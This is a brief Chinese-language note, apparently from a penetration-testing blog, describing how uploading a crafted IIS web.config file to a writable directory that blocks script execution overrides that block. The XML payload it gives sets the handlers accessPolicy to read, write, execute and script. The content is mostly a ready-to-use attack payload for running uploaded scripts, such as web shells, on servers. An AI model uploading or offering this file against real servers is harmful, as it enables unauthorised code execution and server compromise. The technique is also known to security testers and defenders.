Contents

Web.config 突破权限限制

Contents

在一个可读写的目录里无法执行脚本, 通过上传特殊的 web.config 文件突破限制.

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Write, Execute, Script" />
    </system.webServer>
</configuration>